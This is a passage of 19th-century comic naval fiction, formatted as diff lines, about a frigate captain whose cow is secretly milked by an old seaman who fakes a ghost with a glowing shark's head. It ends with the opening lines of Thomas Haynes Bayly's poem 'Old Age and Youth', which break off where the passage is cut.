+longing, lingering look behind.
+
+Forward they went to where the cow was _stalled_ by capstan-bars, as
+comfortably as a prebendary, between two of the guns on the main-deck.
+She seemed in excellent condition; ate her nutritious food with much
+appetite; and, from her appearance, the captain might have very
+reasonably expected, not only an ample supply of milk and cream for
+breakfast and tea, but also a sufficient quantity to afford him custards
+for dinner.
+
+Well, there stood the seven officers of his Majesty's naval service
+round the arid cow, looking very like seven wise men just put to sea in
+a bowl.
+
+"Try again," said the captain to his servant. If the attempt had been
+only fruitless, there had been no matter for wonder; it was milkless.
+
+"The fool can't milk," said the captain; then turning round to his
+officers despondingly, he exclaimed, "gentlemen, can any of you?"
+
+Having all protested that they had left off, some thirty, some forty,
+and some fifty years, according to their respective ages, and the marine
+officer saying that he never had had any practice at all, having been
+brought up by hand, the gallant and disappointed hero was obliged to
+order the boatswain's mates to pass the word fore and aft, to send every
+one to him who knew how to milk a cow.
+
+Seventeen Welshmen, sixty-five Irishmen, (all on board,) and four lads
+from Somersetshire made their appearance, moistened their fingers, and
+set to work, one after the other; yet there was no milk.
+
+"What do you think of this, doctor?" said the captain to him, taking him
+aside.--"That the animal has been milked a few hours before."
+
+"Hah! If I was sure of that. And the cow could have been milked only by
+some one who _could_ milk?"--"The inference seems indisputable."
+
+The captain turned upon the numerous aspirants for lacteal honours with
+no friendly eye, exclaiming sorrowfully, "Too many to flog, too many to
+flog. Let us return to our breakfast; though I shall not be able to eat
+a morsel or drink a drop. Here, boatswain's-mate, pass the word round
+the ship that I'll give five guineas reward to any one who will tell me
+who milked the captain's cow."
+
+The gentleman then all retired to the cabin, and, with the exception
+of the captain, incontinently fell upon the good things. Now, the
+midshipman of that morning's watch was a certain Mr. Littlejohn, usually
+abbreviated into Jack Small. When Jack Small had disposed of three hot
+rolls, half a fowl, and a pound of ham, and was handing in his plate for
+a well devilled turkey's thigh, his eye fell compassionately upon his
+fasting captain, and his heart opening to the softer emotions as his
+stomach filled with his host's delicacies, the latter's want of the milk
+of the cow stirred up within him his own milk of human kindness.
+
+"I am very sorry that you have no appetite," said Jack Small, with his
+mouth very full, and quite protectingly, to his skipper; "very sorry,
+indeed, sir: and, as you cannot make your breakfast without any milk,
+I think, sir, that the midshipmen's berth could lend you a bottle."
+
+"The devil they can, younker. Oh, oh! It's good and fresh, hey?"
+
+"Very good and fresh, sir," said the midshipman, ramming down the words
+with a large wadding of hot roll.
+
+"We must borrow some of it, by all means," said the captain; "but let
+the midshipmen's servant bring it here himself."
+
+The necessary orders having been issued, the bottle of milk and the boy
+appeared.
+
+"Did you know," said Captain Fitzalban, turning to his first lieutenant,
+"that the midshipmen's berth was provided with milk, and that too after
+being at sea a month?"--"Indeed I did not; they are better provided than
+we are, at least in this respect, in the ward-room."
+
+"Do you think,--do you think," said the captain, trembling with rage,
+"that any of the young blackguards dare milk my cow?"--"It is not easy
+to say what they dare not do."
+
+However, the cork was drawn, and the milk found not only to be very
+fresh indeed, but most suspiciously new. In the latitude of the
+Caribbean Islands liquids in general are sufficiently warm, so the
+captain could not lay much stress upon that.
+
+"As fine milk as ever I tasted," said the captain.
+
+"Very good indeed, sir," said the midshipman, overflowing his cup and
+saucer with the delicious liquid.
+
+"Where do the young gentlemen procure it?" resumed the captain, pouring
+very carefully what remained after the exactions of John Small into the
+cream-jug, and moving it close to his own plate.--"It stands us rather
+dear, sir," said Mr. Littlejohn,--"a dollar a bottle. We buy it of Joe
+Grummet, the captain of the waisters."
+
+The captain and first lieutenant looked at each other unutterable things.
+
+Joe Grummet was in the cabin in an instant, and the captain bending upon
+him his sharp and angry glances. Joseph was a sly old file, a seaman to
+the backbone; and let the breeze blow from what quarter of the compass
+it would, he had always an eye to windward. Fifty years had a little
+grizzled his strong black hair, and, though innovation had deprived
+him of the massive tail that whilome hung behind, there were still
+some fancy curls that corkscrewed themselves down his weather-stained
+temples; and, when he stood before the captain, in one of these he
+hitched the first bend of the immense fore-finger of his right hand. He
+hobbled a little in his gait, owing to an unextracted musket-ball that
+had lodged in his thigh; consequently he never went aloft; and had been,
+for his merits and long services, appointed captain of the waist.
+
+The Honorable Augustus Fitzroy Fitzalban said to the veteran mariner
+quickly, and pointing at the same time to the empty bottle, "Grummet,
+you have milked my cow."--"Unpossible, sir," said Grummet, bashing at a
+bow; "downright unpossible, your honour."
+
+"Then, pray, whence comes the fresh milk you sell every morning to the
+young gentlemen?"--"Please your honour, I took two or three dozen of
+bottles to sea with me on a kind o' speculation."
+
+"Grummet, my man, I am afraid this will turn out a bad one for you. Go
+and show your hands to the doctor, and he'll ask you a few questions."
+
+So Joseph Grummet went and expanded his flippers before the eyes of
+the surgeon. They were nearly as large and as shapely as the fins of a
+porpoise, and quite of the colour. They had been tanned and tarred till
+their skin had become more durable than bootleather, and they were quite
+rough enough to have rasped close-grained wood.
+
+"I don't think our friend could have milked your cow, Captain
+Fitzalban," said the doctor; "at least, not with his hands: they are
+rather calculated to draw blood than milk."
+
+Joseph rolled his eyes about and looked his innocence most pathetically.
+He was not yet quite out of danger.
+
+Now there was every reason in the world why this cow should give the
+captain at least a gallon of milk per diem--but one, and that he was
+most anxious to discover. The cow was in the best condition; since she
+had been embarked, the weather had been fine enough to have pleased
+Europa herself; she had plenty of provender, both dry and fresh. There
+were fragrant clover closely packed in bags, delicious oat-cakes--meal
+and water, and fine junks of juicy plantain.--The cow throve, but gave
+no milk!
+
+"So you brought a few dozen bottles of milk to sea with you as a
+venture?" continued the man of medicine in his examination.--"I did,
+sir."
+
+"And where did you procure them?"--"At English Harbour, sir."
+
+"May I ask of whom?"--"Madame Juliana, the fat free Negro woman."
+
+"Now, my man," said the doctor, looking a volume and a half of Galen,
+and holding up a cautionary fore-finger--"now, my man, do not hope to
+deceive _me_. How did you prevent the acetous fermentation from taking
+place in these bottles of milk?"
+
+The question certainly was a puzzler. Joe routed with his fingers among
+his hair for an answer. At length he fancied he perceived a glimmering
+of the doctor's meaning; so he hummed and ha-ed, until, the doctor's
+patience being exhausted, he repeated more peremptorily, "How did you
+prevent acetous fermentation taking place in these bottles of milk?"
+
+"By paying ready money for them, sir," said the badgered seaman boldly.
+
+"An excellent preventative against fermentation certainly," said the
+captain half smiling. "But you answer the doctor like a fool."
+
+"I was never accused of such a thing, please your honour, before, sir,"
+said tarrybrecks, with all his sheets and tacks abroad.
+
+"Very likely, my man, very likely," answered the captain, with a look
+that would have been invaluable in a vinegar manufactory. "How did you
+prevent this milk from turning sour?"
+
+"Ah, sir!" said Grummet, now wide awake to his danger: "if you please,
+sir, I humbly axes your pardon, but that's my secret."
+
+"Then by all that's glorious I'll flog it out of you!"
+
+"I humbly hopes not, sir. I am sure your honour won't flog an old seaman
+who has fought with Howe and Nelson, and who was wounded in the sarvice
+before your honour was born; you won't flog him, sir, only because he
+can't break his oath."
+
+"So you have sworn not to divulge it, hey?"
+
+"Ah, sir: if I might be so bold as to say so, your honour's a witch!"
+
+"Take care of yourself, Joseph Grummet; I do advise you to take care of
+yourself. Folly is a great betrayer of secrets, Joseph. Cunning may milk
+cows without discovery: however, I will never punish without proof. How
+many bottles of this excellent milk have you yet left?"--"Eight or ten,
+sir, more or less, according to sarcumstances."
+
+"Well! I will give you a dollar a-piece for all you have."
+
+At this proposition Joseph Grummet shuffled about, not at all at his
+ease, now looking very sagacious, now very foolish, till, at last, he
+brought down his features to express the most deprecating humility of
+which their iron texture was capable, and he then whined forth, "I would
+not insult you, sir, by treating you all as one as a midshipman. No,
+your honour: I knows the respect that's due to you,--I couldn't think of
+letting you, sir, have a bottle under three dollars--it wouldn't be at
+all respectful like."
+
+"Grummet," said Captain Fitzalban, "you are not only a thorough seaman,
+but a thorough knave. Now, have you the conscience to make me pay three
+dollars a bottle for my own milk?"--"Ah, sir, you don't know how much
+the secret has cost me."
+
+"Nor do you know how dearly it may cost you yet."
+
+Joseph Grommet then brought into the cabin his remaining stock in
+trade, which, instead of eight or ten, was found to consist only of
+two bottles. The captain, though with evident chagrin, paid for them
+honourably; and whilst the milkman _pro temp._ was knotting up the six
+dollars in the tie of the handkerchief about his neck, the skipper said
+to him, "Now, my man, since we part such good friends, tell me your
+candid opinion concerning this cow of mine?"--"Why, sir, I thinks as how
+it's the good people as milks her."
+
+"The good people! who the devil are they?"--"The fairies, your honour."
+
+"And what do they do with it?"--"Very few can tell, your honour; but
+those who gets it are always desarving folks."
+
+"Such as old wounded seamen, and captains of the waist especially. Well,
+go along to your duty. Look out! _cats_ love milk."
+
+So Joseph Grummet went forth from the cabin shrugging up his shoulders,
+with an ominous presentiment of scratches upon them. The captain, the
+Honourable Augustus Fitzroy Fitzalban, gave the marine officer orders
+to place a sentry night and day over his cow, and then dismissed his
+guests.
+
+The honourable commander was, for the rest of day, in a most
+unconscionable ill humour. The ship's sails were beautifully trimmed,
+the breeze was just what it ought to have been. The heavens above, and
+the waters below, were striving to outsmile each other. What then made
+the gallant captain so miserable? He was thinking only of the temerity
+of the man who had dared to _milk his cow_.
+
+The first lieutenant touched his hat most respectfully to the Honourable
+Captain Augustus Fitzroy Fitzalban, and acquainted him that the sun
+indicated it to be twelve o'clock.
+
+"Milk my cow!" said the captain abstractedly.
+
+"Had not that better be postponed till to-morrow morning, Captain
+Fitzalban?" said the lieutenant, with a very little smile; "and in the
+mean time may we strike the bell, and pipe to dinner?"
+
+The captain gazed upon the gallant officer sorrowfully, and, as he shook
+his head, his looks said as plainly as looks could speak, and with the
+deepest pathos, "They never milked _his_ cow."
+
+"Do what is necessary," at last he uttered; then, pulling his hat more
+over his eyes, he continued to pace the quarter-deck.
+
+Now, though the Honourable Captain Augustus Fitzroy Fitzalban was the
+younger son of a nobleman, and enjoyed a very handsome patrimony, and
+his temper had been thoroughly spoiled by that process that is too
+often called education, yet his heart was sound, English, and noble. He
+revolted from doing an unjust action; yet he smarted dreadfully under
+the impression that he was cheated and laughed at to his very face.
+He did not think that Joseph Grummet had milked his cow, but he felt
+assured that the same milk-dealing Joseph knew who did; yet was he too
+humane to introduce the Inquisition on board his ship by extracting the
+truth by torture.
+
+The Honourable Captain Fitzroy Fitzalban slept late on the succeeding
+morning. He had been called at daylight, _pro forma_, but had merely
+turned from his left side to the right, muttering something about a cow.
+It must be supposed that the slumbers of the morning indemnified him for
+the horrors of the night, for breakfast was on the table, and the usual
+guests assembled, when the captain emerged from the after-cabin.
+
+There was no occasion to ask the pale and trembling steward if the cow
+had given any milk that morning.
+
+The breakfast remained untouched by the captain, and passed off in
+active silence by his guests. Not wishing to excite more of the derision
+of Jack than was absolutely necessary, the Honourable the Captain
+Augustus Fitzroy Fitzalban, when he found that the various officers whom
+he had invited to breakfast had sufficiently "improved the occasion,"
+as the methodists say, turned to the first lieutenant, who was again
+his guest, and asked him if nothing had transpired on the over-night to
+warrant a suspicion as to the lacteal felony.
+
+The first luff looked very mysterious, and not wholly disposed to be
+communicative upon the subject. He had been piously brought up, and was
+not at all inclined to be sarcastic upon the score of visions or the
+visited of ghosts; yet, at the same time, he did not wish to subject
+himself to the ridicule of his captain, who had rationally enough
+postponed his belief in apparitions until he had seen one. Under these
+difficulties, he replied hesitatingly, that a ghost had been reported
+as having "come on board before daylight in the morning, without leave."
+
+"A ghost, Mr. Mitchell, come on board, and I not called!" said the
+indignant captain: "By G--, sir, I would have turned out a guard of
+honour to have received him! I would have sooner had a visit from his
+spirituality than from his Excellency the Spanish Ambassador.--The
+service, sir, has come to a pretty pass, when a ghost can come on board,
+and leave the ship too, I presume, without even so much as the boatswain
+to pipe the side. So the ghost came, I suppose, and milked my cow?"
+
+The first lieutenant, in answer, spoke with all manner of humility. He
+represented that he had been educated as a seaman and as an officer, and
+not for a doctor of divinity; therefore he could not pretend to account
+for these preternatural visitations. He could only state the fact,
+and that not so well as the first lieutenant of marines. "He begged,
+therefore, to refer to him."
+
+That officer was immediately sent for, and he made his appearance
+accompanied by one of the serjeants, and then it was asserted that,
+when the guard went round to relieve the sentries, they found the man
+who had been stationed over the cow, lying on the deck senseless in a
+fit, and his bayonet could nowhere be found. When by the means of one of
+the assistant-surgeons, who had been immediately summoned, he had been
+sufficiently recovered to articulate, all the explanation they could
+get from him was, that he had seen a ghost; and the very mention of the
+fact, so great was his terror, had almost caused a relapse.
+
+"Send the poltroon here immediately: I'll ghost him!" cried the enraged
+captain. In answer to this he was informed, that the man lay seriously
+ill in his hammock in the sick-bay, and that the doctor was at that very
+moment with the patient.
+
+"I'll see him myself," said the captain.
+
+As the honourable captain, with his _cortège_ of officers, passed
+along the decks on his way to the sick-bay, he thought--or his sense
+of hearing most grievously deceived him--that more than once he heard
+sneering and gibing voices exclaim, "Who milked my cow?" but the moment
+he turned his head in the direction from whence the sounds proceeded, he
+saw nothing but visages the most sanctimonious: indeed they, instead of
+the unfortunate sentry, appeared to have seen the ghost. The captain's
+amiability that morning might have been expressed by the algebraical
+term--minus a cipher.
+
+When the skipper hauled alongside the sick man, he found that the
+doctor, having bled him, was preparing to blister his head, the ship's
+barber at the time being occupied in very sedulously shaving it. The
+patient was fast putting himself upon an equality to contend with
+his supernatural visitant, by making a ghost of himself. He was in a
+high fever and delirious,--unpleasant things in the West Indies! All
+the captain could get from him was, "The devil--flashes of fire--milk
+cow--horrible teeth--devil's cow--ship haunted--nine yards of blue
+flame--throw cow overboard--go to heaven--kicked the pail down--horns
+tipped with red-hot iron," and other rhapsodies to the same effect.
+
+From the man the captain went to the cow; but she was looking
+excessively sleek, and mild, and amiable, and eating her breakfast with
+the relish of an outside mail-coach passenger. The captain shook his
+head, and thought himself the most persecuted of beings.
+
+When this self-estimated injured character gained the quarter-deck, he
+commenced ruminating on the propriety of flogging Joseph Grummet; for,
+with the loss of his cow's milk, he had lost all due sense of human
+kindness. But, as the Lords of the Admiralty had lately insisted upon
+a report being forwarded to them of every punishment that took place,
+the number of lashes, and the crime for which they were inflicted,
+the Honourable the Captain Augustus Fitzroy Fitzalban thought that a
+report would look rather queer running thus: "Joseph Grummet, captain
+of the waist, six dozen, because my cow gave no milk," or "because
+private-marine Snickchops saw a ghost," or "for selling the midshipmen
+sundry bottles of milk;" and this last imagination reminded him that
+there was one of this highly-gifted class walking to leeward of him.
+"Mr. Littlejohn!" said the captain with a voice that crawled over the
+nerves like the screeching of an ill-filed saw.
+
+Small Jack touched his hat with more than usual respect to the
+exasperated officer, and then, stepping to windward, humbly confronted
+him.
+
+The captain was too angry for many words; so, looking fearfully into
+the happy countenance of the reefer, and pointing his fore-finger down
+perpendicularly, he laconically uttered, "Milk this morning?"--"Yes,
+sir."
+
+"Good?"
+
+The well-breakfasted midshipman licked his lips, and smiled.
+
+"Grummet?"--"Yes, sir."
+
+"Tell the boatswain's mate to send him aft."--"Ay, ay, sir."
+
+And there stood the captain of the waist, with his hat in his hand,
+opposite to the captain of the ship. There was some difference between
+those two captains:--one verging upon old age, the other upon manhood.
+The old man with but two articles of dress upon his person, a canvass
+shirt and a canvass pair of trousers,--for in those latitudes shoes and
+stockings are dispensed with by the foremast men, excepting on Sundays
+and when mustering at divisions; the other gay, and almost gorgeous,
+in white jeans, broad-cloth, and gold. There they stood, the one the
+personification of meekness, the other of haughty anger. However firm
+might have been the captain's intentions to convict the man before him
+by an intricate cross-examination, his warmth of temper defeated them at
+once, for the old seaman looked more than usually innocent and sheepish.
+This almost stolid equanimity was sadly provoking.
+
+"You insolent scoundrel!--who milked my cow last night?"--"The Lord in
+heaven knows, your honour. Who could it be, sir, without it was the
+ghost who has laid that poor lad in his sick hammock?"
+
+"And I suppose that the ghost ordered you to hand the milk to the young
+gentlemen when he had done?"--"Me, sir! Heaven save me! I never se'ed a
+ghost in my life."
+
+"Hypocrite! the bottle you sold the midshipmen!"--"One, your honour, I
+brought from Antigua, and which I overlooked yesterday."
+
+"I shall not overlook it when I get you to the gangway. Go, Mr.
+Littlejohn, give orders to beat to quarters the moment the men have had
+their time."
+
+All that forenoon the captain kept officers and men exercising
+the great guns, running them in and out, pointing them here and
+there;--sail-trimmers aloft--boarders on the starboard bow--firemen down
+in the fore-hold: the men had not a moment's respite, nor the officers
+either. How potently in their hearts they d--d the cow, even from the
+tips of her horns unto the tuft at the end of her tail! Five secret
+resolves were made to poison her that hard-worked morning. Mr. Small
+Jack, who was stationed at the foremost main-deck guns near her, gave
+her a kick every time the order came from the quarter-deck to ram home
+wad and shot.
+
+Well, this sweltering work, under a tropical sun, proceeded till noon,
+the captain alternately swearing at the officers for want of energy,
+and exclaiming to himself indignantly, "D--them! how dare they milk my
+cow! There must be several concerned. Send the carpenter aft. Mr. Wedge,
+rig both the chain-pumps,--turn the water on in the well. Waisters! man
+the pumps. Where's that Grummet? Boatswain's mates, out with your colts
+and lay them over the shoulders of any man that shirks his duty; keep a
+sharp eye on the captain of the waist."
+
+And thus the poor fellows had, for a finish to their morning's labour,
+a half-hour of the most overpowering exertion to which you can set
+mortal man,--that of working at the chain-pumps. When Mr. Littlejohn
+saw elderly Joseph Grummet stripped to the waist, the perspiration
+streaming down him in bucket-fulls, and panting as it were for his very
+life, he, the said Small Jack, very rightly opined that no milk would be
+forthcoming next morning.
+
+At noon the men were as usual piped to dinner, with an excellent
+appetite for their pork and pease, and a thirsty relish for their grog;
+for which blessings they had the cow alone to thank. They were very
+ungrateful.
+
+No sooner was the hour of dinner over than the captain all of a sudden
+discovered that his ship's company were not smart enough in reefing
+topsails. So at it they went, racing up and down the rigging, tricing
+up and laying out, lowering away and hoisting, until six bells, three
+o'clock, when the angry and hungry captain went to his dinner. He had
+made himself more unpopular in that day than any other commander in the
+fleet.
+
+The dinner was unsocial enough. When a man is not satisfied with
+himself, it is rarely that he is satisfied with any body else. Now
+the whole ship's company, officers as well as men, were divided into
+parties, and into only two, respecting this affair of the cow; one
+believed in a supernatural, the other in a roguish agency; in numbers
+they were about equal, so that the captain stood in the pleasant
+predicament of being looked upon in a sinful light by one half of his
+crew, and in a ludicrous one by the other.
+
+However, as the night advanced, and the marine who had seen the
+cow-spirit grew worse, the believers in the supernatural increased
+rapidly; and as one sentinel was found unwilling to go alone, the cow
+had the distinguished compliment of a guard of honour of two all night.
+The captain, with a scornful defiance of the spiritual, would allow of
+no lights to be shown, or of no extraordinary precautions to be taken.
+He only signified his intentions of having himself an interview with the
+ghost, and for that purpose he walked the deck till midnight; but the
+messenger from the land of spirits did not choose to show himself so
+early.
+
+Let me hear no more any querulous talk of the labour of getting butter
+to one's bread--no person could have toiled more than the Honourable
+Captain Augustus Fitzroy Fitzalban to get milk for his breakfast.
+
+The two sentries were relieved at twelve o'clock, and, for a quarter of
+an hour after, everything remaining dark and quiet about the haunted
+cow, the captain went below and turned in, joyfully anticipative of milk
+and cream in the morning. He left, of course, the most positive orders
+that the moment the ghost appeared he should be called.
+
+Mr. Mitchell, the pious first lieutenant, remained on deck, determined
+to see the sequel; told the master he was much troubled in spirit, and
+he thought, with all due deference to the articles of war, and respect
+for the captain, that he was little better than an infidel, and an
+overbold tempter of God's providence. The master remarked in reply that
+it was an affair entirely out of soundings; but very sagely concluded
+that they should see what they should see, even if they saw nothing.
+
+It was a beautiful night, darkly, yet, at the same time, brightly
+beautiful. There was no moon. The pure fires above were like
+scintillations from the crown of God's glory. Though the heavens were
+thus starred with splendours, it was deeply, though clearly, dark on
+the ocean. There was a gentle breeze that was only sufficient to make
+the sails draw, and the noble frigate walked stately, yet majestically
+onwards.
+
+Forward on the main-deck the darkness was Cimmerian. When lights had
+been last there at the relieving of the sentinels, the cow had laid
+herself quietly down upon her litter, and seemed to be in a profound
+sleep; the first hour after midnight was passed, and all was hushed
+as death, save those noises that indicate what else would be absolute
+silence more strongly. There was the whispering ripple of the sea,
+the dull creaking of the tiller-ropes, and the stealthy step of the
+sentinels: these sounds, and these only, were painfully distinct. One
+bell struck, and its solemn echoes seemed to creep through the decks as
+if on some errand of death, and the monotonous cry of the look-outs fell
+drearily on the ear.
+
+The first lieutenant and the officers of the watch had just begun to
+shake off their dreamy and fearful impressions, to breathe more freely,
+and to walk the deck with a firmer tread, when, from what was supposed
+to be the haunted spot, a low shriek was heard, then a bustle, followed
+by half-stifled cries of "The guard! the guard!"
+
+The officers of the watch jumped down on to the main-deck, the
+midshipmen rushed into the cabin to call the captain, and men with and
+without lights rushed forward to the rescue.
+
+Deep in the darkness of the manger there glared an apparition that might
+more than justify the alarm. The spot where the phantom was seen, (we
+pledge ourselves that we are relating facts,) was that part of a frigate
+which seamen call "the eyes of her," directly under the foremost part
+of the forecastle, where the cables run through the hawse-holes, and
+through which the bowsprit trends upwards. The whole place is called the
+manger. It is very often appropriated to the use of pigs until they take
+their turn for the butcher's knife. This was the strange locality that
+the ghost chose to honour with its dreadful presence.
+
+From the united evidences of the many who saw this ghastly avatar,
+it appeared only to have thrust its huge head and a few feet of the
+forepart of its body through the hawse-hole, the remainder of its vast
+and voluminous tail hanging out of the ship over its bows. The frightful
+head and the sockets of its eyes were distinctly marked in lineaments
+of fire. Its jaws were stupendous, and its triple row of sharp and
+long-fanged teeth seemed to be gnashing for something mortal to devour.
+It cast a pale blue halo of light around it, just sufficient to show
+the outlines of the den it had selected in which to make its unwelcome
+appearance. Noise it made none, though several of the spectators fancied
+that they heard a gibbering of unearthly sounds; and Mr. Littlejohn
+swore the next day upon his John Hamilton Moore, that it mooed dolefully
+like a young bullock crossed in love.
+
+To describe the confusion on the main-deck, whilst officers, seamen, and
+marines were gazing on this spectre, so like the fiery spirit of the
+Yankee sea-serpent, is a task from which I shrink, knowing that language
+cannot do it adequately. The first lieutenant stood in the middle of the
+group, not merely transfixed, but paralysed with fear; men were tumbling
+over each other, shouting, praying, swearing. Up from the dark holds,
+like shrouded ghosts, the watch below, in their shirts, sprang from
+their hammocks; and for many, one look was enough, and the head would
+vanish immediately in the dark profound. The shouting for lights, and
+loaded muskets and pistols was terrible; and the orders to advance were
+so eagerly reiterated, that none had leisure to obey them.
+
+But the cow herself did not present the least imposing feature in this
+picture of horror. She formed, as it were, the barrier between mortality
+and spirituality--all beyond her was horrible and spectral; by her
+fright she seemed to acknowledge the presence of a preternatural being.
+Her legs were stiff and extended, her tail standing out like that of an
+angered lion, and she kept a continued strain upon the halter with which
+she was tethered to a ring-bolt in the ship's side.
+
+By this time several of the ward-room officers, and most of the
+midshipmen, had reached the scene of action. Pistols were no longer
+wanting, and loaded ones too. Three shots were fired into the manger,
+with what aim it is impossible to specify, at the spectre. They did not
+seem to annoy his ghostship in the least; without an indication of his
+beginning to grow hungry, might be deemed so. As the shot whistled past
+him, he worked his huge and fiery jaws most ravenously.
+
+"Well," said the second lieutenant, "let us give the gentleman another
+shot, and then come to close quarters. Mr. Mitchell, you have a pistol
+in your hand: fire!"
+
+"In the name of the Holy Trinity!" said the superstitious first,
+"there!" Bang! and the shot took effect deep in the loins of the
+unfortunate cow.
+
+At this precise moment, Captain the Honourable Augustus Fitzroy
+Fitzalban rushed from his cabin forward, attired in a rich flowered silk
+morning-gown, in which scarlet predominated. He held a pistol cocked
+in each hand; and, as he broke through the crowd, he bellowed forth
+lustily, "Where's the ghost! let me see the ghost!" He was soon in the
+van of the astonished gazers; but, disappointed Fitzalban! he saw no
+ghost, because, as the man says in the Critic, "'twas not in sight."
+
+Immediately the honourable captain had gained his station, the much
+wronged and persecuted cow, galled by her wound, with a mortal effort
+snapped the rope with which she was fastened, and then lowering her
+horned head nearly level with the deck, and flourishing her tail
+after the manner that an Irishman flourishes his shillelagh before he
+commences occipital operations, she rushed upon the crowded phalanx
+before her. At this instant, as if its supernatural mission had been
+completed, the spirit vanished.
+
+The ideal having decamped, those concerned had to save themselves from
+the well followed up assaults of the real. The captain flew before the
+pursuing horns, d--ning the cow in all the varieties of condemnation.
+But she was generous, and she attached herself to him with an unwonted,
+or rather an unwanted, fidelity. Lanterns were crushed and men
+overthrown, and laughter now arose amidst the shouts of dismay. The
+seamen tried to impede the progress of the furious animal by throwing
+down before her lashed-up hammocks, and by seizing her behind by the
+tail: but, woe is me! the Honourable the Captain Augustus Fitzroy
+Fitzalban could not run so fast in his variegated and scarlet flowered
+silk dressing-gown as a cow in the agonies of death; for he had just
+reached that asylum of safety, his cabin-door, when the cow took him
+up very carefully with her horns, and first giving him a monitory
+shake, then with an inclination to port, she tossed him right over the
+ward-room skylight, and deposited him very gingerly in the turtle-tub
+that stood lashed on the larboard side of the half-deck. This exertion
+was her last; for immediately alter falling upon her knees, and then
+gently rolling over, to use an Homeric expression, her soul issued from
+her wound, and sought the shades below appropriated to the souls of cows.
+
+In the mean time, the captain was sprawling about, and contending with
+his turtle for room, and he stood a very good chance of being drowned
+even in a tub; but assistance speedily arriving, he was drawn out,
+and thus the world was spared a second tale of a tub. But there was
+something in the spirit of the aristocratic Fitzalban that neither
+cows, ghosts, nor turtle-haunted water could subdue. Wet as he was, and
+suffering also from the contusions of the cow's horns, he immediately
+ordered more light, and proceeded to search for the ghost,--prolific
+parent of all his mishaps.
+
+Well escorted he visited the manager, but the most scrutinising search
+could discover nothing extraordinary. The place seemed to have been
+undisturbed, nor once to have departed from its usual solitariness
+and dirt. There was not even so much as a smell of sulphur on the spot
+where the spectre had appeared, nor were there any signs of wet, which,
+supposing the thing seen had been a real animal, would have been the
+case, had it come from the sea through one of the hawse-holes. The
+whole affair was involved in the most profound mystery. The honourable
+captain, therefore, came to the conclusion that nothing whatever had
+appeared, and that the whole was the creation of cowardice.
+
+Hot with rage and agueish with cold, he retired to his cabin, vowing
+all manner of impossible vengeance, muttering about courts-martial, and
+solemnly protesting that Mr. Mitchell, the first lieutenant, should pay
+him for the cow that he had so wantonly shot.
+
+Blank were the countenances of many the next morning. The first
+lieutenant was not, as usual, asked to breakfast. There was distrust and
+division in his Majesty's ship Nænia, and the Honourable the Captain
+Augustus Fitzroy Fitzalban had several severe contusions on his noble
+person, a bad cold, and no milk for breakfast; an accumulation of evils
+that one of the aristocracy ought not to be obliged to bear. Though Mr.
+Mitchell did not breakfast with the captain, Jack Small, alias Small
+Jack, alias Mr. Littlejohn, did. The only attempt of the captain that
+morning at conversation was as follows. With a voice that croaked like
+a raven's at the point of death, evidence _externe_ of an abominable
+sore-throat, the captain merely said to the reefer, pointing his
+fore-finger downwards as he did the day before, "_Milk?_"
+
+Mr. Littlejohn shook his head dolefully, and replied, "No, sir."
+
+"My cow died last night," said the afflicted commander with a pathos
+that would have wrung the heart of a stone statue--if it could have
+heard it.
+
+"If you please, sir," said the steward, "Mr. Mitchell sends his
+compliments, and would be very glad to know what you would have done
+with the dead cow."--"My compliments to Mr. Mitchell and _he_ may do
+whatever he likes with it. He shot it, and must pay me for it: let him
+eat it if he will."
+
+The first lieutenant and the captain were, after this, not on speaking
+terms for three months. Several duels had very nearly been fought
+about the ghost; those who had not seen it, branding those who had
+with an imputation only a little short of cowardice; those who had
+seen it, becoming for a few weeks very religious, and firmly resolving
+henceforward to get drunk only in pious company. The carcase of the cow
+was properly dressed and cut up, but few were found who would eat of it;
+the majority of the seamen thinking that the animal had been bewitched:
+the captain of course would take none of it unless Mr. Mitchell would
+permit him to pay him for it at so much per pound, as he pertinaciously
+pretended to consider it to be the property of the first lieutenant.
+Consequently, the animal was neatly shared between the midshipmen's
+berth and the mess of which Joseph Grummet, the captain of the waist,
+was an unworthy member.
+
+The day following the death of the cow, Joseph Grummet was found
+loitering about the door of the young gentlemen's berth.
+
+"Any milk to-morrow, Joseph?" said the caterer.--"No, sir," with a most
+sensible shake of the head.
+
+"Oh!--the cow has given up the ghost!"--"_And somebody else too!_" This
+simple expression seemed to have much relieved Joe's overcharged bosom:
+he turned his quid in his month with evident satisfaction, grinned, and
+was shortly after lost in the darkness forward.
+
+       *       *       *       *       *
+
+There never yet was a ghost story that did not prove a very simple
+affair when the key to it was found. The captain of the Nænia never
+would believe that anything uncommon was ever seen at all. He was,
+however, as much in the wrong as those who believed that they had seen
+a ghost. The occurrence could not be forgotten, though it ceased to be
+talked of.
+
+Two years after the ship came to England, and was paid off. Joseph
+Grummet bagged his notes and his sovereigns with much satisfaction;
+but he did not jump like a fool into the first boat, and rush ashore
+to scatter his hard-earned wages among Jews, and people still worse:
+he stayed till the last man, and anxiously watched for the moment when
+the pennant should be hauled down. When he saw this fairly done, he
+asked leave to speak to the captain. He was ushered into the cabin, and
+he there saw many of the officers who were taking leave of their old
+commander.
+
+"Well, Grummet," said the skipper, "what now?"
+
+"Please your honour, you offered five guineas to anybody who would tell
+you who milked the cow."
+
+"And so I will gladly," said the captain, pleasantly, "if the same
+person will unravel the mystery of the ghost." And he turned a
+triumphant look upon the believers in spirits who stood around him.
+
+"I milked your cow, sir."
+
+"Ah! Joseph, Joseph! it was unkindly done. But with your hands?"--"We
+widened a pair of Mr. Littlejohn's kid-gloves, sir."
+
+"I knew that little rascal was at the bottom of it! but there is honour
+in the midshipmen's berth still. What is the reason that they thus
+sought to deprive me of my property?"--"You wouldn't allow them to take
+any live stock on board that cruise, sir."
+
+"So--so--wild justice, hey? But come to the ghost."--"Why, sir, I wanted
+to have the cow unwatched for a quarter of an hour every middle watch;
+so I took the shark's head we had caught a day or two before, scraped
+off most of the flesh, and whipped it in a bread-bag,--it shone brighter
+in the dark than stinking mackerel;--so I whips him out when I wants
+him, and wabbles his jaws about. I was safely stowed under the bowsprit
+from your shot; and when your honour walked in on one side of the
+manger, I walked, with my head under my arm, out of the other."
+
+"Well, Joseph, there are your five guineas: and, gentlemen," said
+the Honourable the Captain Augustus Fitzroy Fitzalban, bowing to his
+officers, "I wish you joy of your ghost!"
+
+
+
+
+               OLD AGE AND YOUTH.
+             BY THOMAS HAYNES BAYLY.
+
+    Old Age sits bent on his iron-grey steed;
+      Youth rides erect on his courser black;
+    And little he thinks in his reckless speed
+      Old Age comes on, in the _very same track_.
+
+    And on Youth goes, with his cheek like the rose,
+      And his radiant eyes, and his raven hair;
+    And his laugh betrays how little he knows,
